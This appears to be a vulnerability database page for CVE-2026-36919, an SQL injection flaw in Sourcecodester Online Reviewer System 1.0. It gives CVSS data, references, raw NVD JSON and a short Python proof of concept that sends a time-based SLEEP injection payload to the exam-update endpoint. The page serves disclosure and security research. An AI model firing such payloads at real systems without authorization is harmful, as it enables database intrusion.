CVE-2026-36919

Description

Sourcecodester Online Reviewer System v1.0 is vulnerale to SQL Injection in the file /system/system/admins/assessments/examproper/exam-update.php.

CVSS Details

CVSS Score

2.7

Severity

LOW

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:janobe:online_reviewer_system:1.0:*:*:*:*:*:*:* - VULNERABLE

Sourcecodester Online Reviewer System 1.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# PoC for CVE-2026-36919
# This script demonstrates the SQL Injection vulnerability
import requests

target_url = "http://target-ip/system/system/admins/assessments/examproper/exam-update.php"

# Administrator session cookie is required (PR:H)
cookies = {
    "PHPSESSID": "valid_admin_session_id_here"
}

# Injection payload testing for syntax error or time-based blind
payload = {
    "id": "1' AND SLEEP(5)-- -",  # Time-based payload example
    "submit": "update"
}

try:
    response = requests.post(target_url, data=payload, cookies=cookies, timeout=10)
    if response.elapsed.total_seconds() >= 5:
        print("[+] Vulnerability confirmed (Time-based)")
    elif "syntax error" in response.text:
        print("[+] Vulnerability confirmed (Error-based)")
    else:
        print("[-] Vulnerability could not be confirmed")
except Exception as e:
    print(f"[!] Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-36919
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-36919
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-36919/
[4] VulDB https://vuldb.com/cve/CVE-2026-36919
[5] https://github.com/hubdk01/bug_report/blob/main/Sourcecodester/online-reviewer-system/SQL-2.md

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-36919", "sourceIdentifier": "[email protected]", "published": "2026-04-13T13:16:41.783", "lastModified": "2026-04-14T11:52:16.307", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Sourcecodester Online Reviewer System v1.0 is vulnerale to SQL Injection in the file /system/system/admins/assessments/examproper/exam-update.php."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:N/A:N", "baseScore": 2.7, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:janobe:online_reviewer_system:1.0:*:*:*:*:*:*:*", "matchCriteriaId": "063C94E3-E7C7-403E-BB13-0878AB4B70DC"}]}]}], "references": [{"url": "https://github.com/hubdk01/bug_report/blob/main/Sourcecodester/online-reviewer-system/SQL-2.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}